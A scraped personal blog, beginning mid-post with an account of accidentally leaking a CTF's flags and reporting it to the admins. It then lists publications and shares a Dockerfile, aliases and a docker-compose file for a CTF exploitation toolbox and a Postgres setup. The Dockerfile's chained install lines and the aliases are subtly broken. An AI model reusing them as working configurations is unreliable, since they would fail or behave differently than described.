(Sidenote: the CTF did contain flags starting with the flag format JCTF{.*}. These aren't included in the leak, as I simply grepped for the the other flag format flag{}. Also, flags not following a flag format are not in the leak. All of these could have been found, but dumping all of the data accessible (600GB+) wasn't my intention).

Disclosure

So as you might realize, leaking all flags isn't good, not even a bit. It is "sort of a game-critical thing".

So the first thought was "I've somehow got to inform the people hosting the CTF". The first step was to join the plattform used to communicate with the admins, in this case discord. As I was pretty excited about the finding and wanted to reach one of the admins as quickly as possible, I simply mentioned that I'd leaked all flags and who I could this report this to in the main thread (This is one of the thing's I'd do different if something like this happens again, I'll get to this in the learnings section below).

After about 10 seconds, an admin reached out to me regarding this. I disclosed leaking all flags, in which challenge it happened and the admins took care of taking the challenge down. This was done in about a minute.

Overall, the response from the admins was great and I'd love to see such a response whenever something like this happens.

Learnings

As mentioned before, I started reaching out to the admins directly in the main thread even mentioning that I'd leaked all flags. The admin I then PMd told me to please delete this message, as it might discourage other players from playing the CTF when knowning that all flags had been leaked. I deleted the message as soon as I got the message, realizing that informing all players that all flags had been leaked might really not be the best thing to do, as it really might ruin the CTF for a lot of people.

What to do if you leak flags

So here some points on what you should do when finding out you've leaked all flags:

  • contact the admins ASAP
  • don't inform all players publicly, if you do, coordinate this with the adminso

The stream

Later on, I saw that the admins were actually streaming them hosting the CTF, so If you'd like to see how the mood drops when getting informed that all flags are leaked, watch that here (starting 1:10:30):

Endnote

Overall, the disclosure was great, the admins acted fast and in the end, I think that nobody was really affected by this, as the challenge went up again some time later (fixed).

All in all, flag leaks such as the ones in TJCTF and PragyanCTF are really bad for a CTF and I really hope that such leaks don't happen or get reported to the admins resposibly so that the hundreds of teams and thousands of people playing such CTFs still can have some fun.


PS: (I still don't have the flag for the Fake File challenge, as I don't know which of the 65 flags belongs to that challenge)

I'd like to say that publications are kind of blogposts, but not hosted on this page. In that sense, I've "published" some stuff in the past and surely will in the future. This page is here to collect that information.

Publications made in 2020

This is a condensed version of my 2019 Jugend Forscht Project.

This browser does not support PDFs. Please download the PDF to view it: Download PDF.

Publications made in 2019

This is the resulting "Langfassung" of my 2018-2019 Jugend Forscht Project.

This browser does not support PDFs. Please download the PDF to view it: Download PDF.

"Hey, do you have a copy of this setup ready?". Sharing files containing information that others might find useful is great, that's why this sections exists: for having this a bit more accessible.

My setup for solving pwn challenges in CTFs consists of a docker image that is handled using some aliases that are described further down.

# Dockerfile

FROM ubuntu:19.10

ENV DEBIAN_FRONTEND=noninteractive

RUN dpkg --add-architecture i386 && \
apt-get update && \
apt-get install -y golang build-essential jq strace ltrace curl wget rubygems && \
gcc dnsutils netcat gcc-multilib net-tools vim gdb gdb-multiarch python python3 && \
python3-pip python3-dev libssl-dev libffi-dev wget git make procps libpcre3-dev && \
libdb-dev libxt-dev libxaw7-dev python-pip libc6:i386 libncurses5:i386 && \
libstdc++6:i386 sqlmap tmux && \
pip install capstone requests pwntools r2pipe huepy && \
pip3 install pwntools keystone-engine unicorn capstone ropper angr && \
mkdir tools && cd tools && \
git clone https://github.com/JonathanSalwan/ROPgadget && \
git clone https://github.com/radare/radare2 && cd radare2 && sys/install.sh && \
cd .. && git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh && \
cd .. && git clone https://github.com/niklasb/libc-database && cd libc-database && \
./get && gem install one_gadget
# aliases.txt

# make (pmk <name>)
alias pmk='function _dockermk(){docker run --rm -v "(pwd):/pwn" \
--cap-add=SYS_PTRACE --security-opt seccomp=unconfined -d --name 1 -i \
ctf:ubuntu19.10;};_dockermk'

# change directory into the /pwn folder of the container (pcd <name>)
alias pcd='function _dockercd(){docker exec -it --workdir /pwn 1 bash;};_dockercd'

# delete the container with the given name (prm <name>)
alias prm='function _dockerrm(){docker stop 1;};_dockerrm'

This is a basic dockerfile for quickly setting up a postgres database and pgadmin4.

Make sure to change the passwords!

version: "3"

services:
  postgres:
    image: postgres:12.1
    hostname: postgres
    ports:
      - "5432:5432"
    environment:
      POSTGRES_USER: CHANGEME
      POSTGRES_PASSWORD: CHANGEME
    volumes:
      - postgres_volume:/var/lib/postgresql
    networks:
      - database
    restart: unless-stopped

  pgadmin:
    image: dpage/pgadmin4
    ports:
      - "5554:80"
    environment:
      PGADMIN_DEFAULT_EMAIL: CHANGEME
      PGADMIN_DEFAULT_PASSWORD: CHANGEME
    restart: unless-stopped
    networks:
      - database

volumes:
  postgres_volume: {}

networks:
  database: